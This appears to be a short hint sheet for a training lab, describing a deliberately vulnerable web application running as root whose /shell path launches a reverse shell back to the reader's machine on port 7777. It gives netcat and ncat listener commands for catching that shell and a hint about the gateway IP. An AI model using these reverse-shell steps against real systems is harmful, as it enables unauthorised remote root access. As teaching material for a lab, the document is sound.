There is a "web application" that runs as root 🤦
If the user accesses http://<server>/shell it will try to run the reverse shell and try to connect to port 7777 on your host using the host's IP address. You just need to figure out how to give the web application the IP address to connect to. The hint for this is that most VMs have a "default route" that is an IP address ending in .1 that it uses to connect to the network. This IP address is likely the one you can try first.
You can run nc -lvp 7777 to listen for the remote shell connection.
You can run nc -l 0.0.0.0 7777 to listen for the remote shell connection.
You can run ncat -l 0.0.0.0 7777 to listen for the remote shell connection. To do this you will need to install ncat using the instructions found here